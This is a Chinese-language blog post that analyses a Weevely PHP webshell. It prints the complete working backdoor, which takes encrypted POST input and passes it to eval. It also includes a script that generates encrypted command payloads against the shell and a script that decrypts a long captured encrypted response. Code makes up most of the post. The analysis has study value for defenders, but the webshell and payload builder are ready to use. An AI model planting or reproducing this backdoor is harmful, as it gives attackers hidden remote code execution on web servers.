Weevely PHP 马分析

admin 2024年12月2日11:48:11评论4 views字数 33681阅读112分16秒阅读模式

周六小夜宵 | Weevely PHP 马分析

前言

群里师傅发了一个马子, 记录如下:

Weevely PHP 马分析

看着这么激烈的讨论, 我也加入进来吧, 没见过这种马子, 发个文章分析一下, 当然 weevely 这个工具是懒得点开看的.

分析过程

具体 PHP 文件内容如下:

<?php
$k = "c6ae1e70";
$kh = "cbbf9691e009";
$kf = "85a89e92c410";
$p = "dzINRguo2g6mkn7y";
function x($t, $k)
{
    $c = strlen($k);
    $l = strlen($t);
    $o = "";
    for ($i = 0; $i < $l;) {
        for ($j = 0; ($j < $c && $i < $l); $j++, $i++) {
            $o .= $t{$i} ^ $k{$j};
        }
    }
    return $o;
}
if (@preg_match("/$kh(.+)$kf/", @file_get_contents("php://input"), $m) == 1) {
    @ob_start();
    @eval(@gzuncompress(@x(@base64_decode($m[1]), $k)));
    $o = @ob_get_contents();
    @ob_end_clean();
    $r = @base64_encode(@x(@gzcompress($o), $k));
    print("$p$kh$r$kf");
}

看到 preg_match 的进入条件, 是由php://input过来的, 并且前缀必须为$kh, 末尾必须为$kf, 所以我们 POST 中的值应该这样定义:

cbbf9691e009具体内容85a89e92c410

没跑了, 这里$m实际上是匹配正则表达式第一个分组的值, 过程如下: base64_decode -> x异或 -> gzuncompress.

生成 payload

那么我们生成马儿应该逆着生成, @base64_encode(@x(@gzcompress($o), $k)), 倒数第三行就是这个加密逻辑, 直接生搬硬套执行一把.

创建test.php, 文件内容如下:

<?php
function x($t, $k)
{
    $c = strlen($k);
    $l = strlen($t);
    $o = "";
    for ($i = 0; $i < $l;) {
        for ($j = 0; ($j < $c && $i < $l); $j++, $i++) {
            $o .= $t{$i} ^ $k{$j};
        }
    }
    return $o;
}

$evil = 'phpinfo();';

echo @base64_encode(@x(@gzcompress($evil), 'c6ae1e70'));

随后生成如下base64值:

G6pKrRmt+3uo4bHRN2Ui9GC3

把它夹在我们的HTTP报文中间就行.

Weevely PHP 马分析

解密响应包

哇哦, 返回这么一大堆是干嘛呢?好害怕呜呜呜, 其实也就那样 -.- 看一下 print 打印的什么:

Weevely PHP 马分析

哇, 果然是黑客工具!神一样的加密逻辑!混淆的好乱啊! -.-, 其实搜索一下就能看到关键部分, 妈妈说, 当程序员不能只能依赖 Ctrl C Ctrl v 我偏不信! 我就爱这口!

Weevely PHP 马分析

直接顺着这个复制到最底下就行, 顺便创建一个 3.php, 别问为什么, 问就是爱创建, 我就爱, 就爱, 再用这个工具给我们提供的加密逻辑搞回来他! 你都说了这么解密, 那我试试, 看看你是不是骗我的, 我就盯着你这一行不放:

Weevely PHP 马分析

创建3.php:

<?php

function x($t, $k)
{
    $c = strlen($k);
    $l = strlen($t);
    $o = "";
    for ($i = 0; $i < $l;) {
        for ($j = 0; ($j < $c && $i < $l); $j++, $i++) {
            $o .= $t{$i} ^ $k{$j};
        }
    }
    return $o;
}

$res = <<<EVIL
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